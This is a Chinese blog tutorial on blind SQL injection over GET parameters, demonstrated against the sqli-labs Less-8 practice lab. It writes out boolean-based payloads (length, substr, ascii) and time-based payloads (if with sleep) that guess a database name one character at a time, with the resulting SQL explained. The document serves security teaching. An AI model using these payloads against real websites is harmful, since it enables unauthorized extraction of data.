SQL注入-GET方式SQL注入(二)

1.1 SQL盲注

1.1.1 布尔注入

基于布尔的判断是根据我们构造语句返回的True或者False来判断数据内容。

布尔型有多种写法:

  • and 1=1 简写and 1
  • and 1=2 简写and 0

注意:简写时只有and 0为假,非0都为真。

length函数的使用方法:用于在MySQL中计算字段的长度,一个汉字是算3个字符,一个数字或字母算1个字符。

1.1.1.1  使用length对数据库名称长度进行猜解

  • 测试URL:http://192.168.10.159/sqli-labs/Less-8/?id=1′ and (length(database())=8) –+
  • 实际SQL:SELECT * FROM users WHERE id=’1′ and (length(database())=8) — ‘ LIMIT 0,1

图片[1]|SQL注入-GET方式SQL注入(二)|leon的博客

【结果分析】:

我们通过构造一个判断条件( length(database()) = 8)判断目标是否满足条件,满足条件则执行成功,不满足则执行失败。

  • database()是当前数据库名称
  • length(database())取出数据库名称的长度
  • < = >分别为大于、等于、小于,用来判断是否满足条件,用来猜解。

我们已经知道数据库名称是security,所以设定条件< =8都可以正常登录。

1.1.1.2  使用substr和ascii对数据库名称进行猜解

  • 测试URL:

http://192.168.10.159/sqli-labs/Less-8/?id=1′ and (ascii(substr(database(),1,1))>110) –+

http://192.168.10.159/sqli-labs/Less-8/?id=1′ and (ascii(substr(database(),1,1))>115) –+

http://192.168.10.159/sqli-labs/Less-8/?id=1′ and (ascii(substr(database(),1,1))=115) –+

  • 实际SQL:

SELECT * FROM users WHERE id=’1′ and (ascii(substr(database(),1,1))>110) — ‘ LIMIT 0,1

SELECT * FROM users WHERE id=’1’ and (ascii(substr(database(),1,1))>115) — ‘ LIMIT 0,1

SELECT * FROM users WHERE id=’1’ and (ascii(substr(database(),1,1))=115) — ‘ LIMIT 0,1

图片[2]|SQL注入-GET方式SQL注入(二)|leon的博客

图片[3]|SQL注入-GET方式SQL注入(二)|leon的博客

图片[4]|SQL注入-GET方式SQL注入(二)|leon的博客

【结果分析】:

substr(database(),1,1)表示取出数据库名称的第一个字符, 第一个1表示从第几个字符开始,第二个1表示取几个字符,我们猜解出一个值之后就要把第一个值+1用来猜解第二个值。

ascii(substr(database(),1,1)) > 110将取出的字符转码为ASCII码,后面的>110也是用来判断ASCII

数值的,所以最终取出的结果应该对照ASCII表来查找具体是哪个字符。

取值范围思路:先使用<>大于号小于号确定范围,然后一直缩小范围,当范围缩小到个位数就可以用=号来判断具体数值。

数据库命名规则规定只能是数字、小写字母和下划线,所以猜测的值得范围为:

  • 数字1-10:48-57
  • 下划线_:95
  • 小写字母a-z:97-122

【猜解流程】:

  1. 通过3.1.1猜解出数据库名称长度为8,所以我们需要猜解8个字符;
  2. 使用<>=号判断取值范围并最终确定取值
  3. 通过ascii表查询取值对应的字符
  4. 使用ascii(substr(database(),2,1)) ascii(substr(database(),3,1)) …依次猜解后续字符
  5. 将8个字符连接后即为最终的数据库名称

PS.实际场景中我们使用sqlmap进行自动猜解。

1.1.2 延时注入

基于时间的则是使用if 语句进行判断数值,不符合判断条件则执行sleep语句,从而造成页面的响应时间变长,根据页面的响应时间来判断结果。

1.1.2.1  判断符合条件

  • 测试URL:http://192.168.10.159/sqli-labs/Less-8/?id=1′ and if(ascii(substr(database(),1,1))=115,1,sleep(3)) –+
  • 实际SQL:SELECT * FROM users WHERE id=’1′ and if(ascii(substr(database(),1,1))=115,1,sleep(3)) — ‘ LIMIT 0,1

图片[5]|SQL注入-GET方式SQL注入(二)|leon的博客

图片[6]|SQL注入-GET方式SQL注入(二)|leon的博客

【结果分析】:

当if () 中的条件满足时则直接返回,如果不满足时则走sleep,页面的响应时间根据所指定时长返回,从而可以判断注入的语句是否执行成功。

【字段解释】:

以and if(ascii(substr(database(),1,1))=115,1,sleep(3))语句分为三段:

  • if(ascii(substr(database(),1,1))=115:指定的条件
  • 1:表示if条件成立后,则执行的内容,这里的执行的内容和语句中的and或or有很大关系
  • sleep(3):表示当if条件不成立时执行的内容,sleep 表示休眠,(3) 休眠时间,秒为单位

1.1.2.2  判断不符合条件

  • 测试URL:http://192.168.10.159/sqli-labs/Less-8/?id=1′ and if(ascii(substr(database(),1,1))=116,1,sleep(3)) –+
  • 实际SQL:SELECT * FROM users WHERE id=’1′ and if(ascii(substr(database(),1,1))=116,1,sleep(3)) — ‘ LIMIT 0,1

图片[7]|SQL注入-GET方式SQL注入(二)|leon的博客

图片[8]|SQL注入-GET方式SQL注入(二)|leon的博客

【结果分析】:

因为条件不成功,因此走sleep,我们定义的是3秒,所以休眠了3秒才返回结果

温馨提示:本文最后更新于2022-12-20 20:57:38,已超过435天没有更新。某些文章具有时效性,若文章内容或图片资源有错误或已失效,请联系站长。谢谢!
转载请注明本文链接:https://blog.leonshadow.cn/763482/2266.html
© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享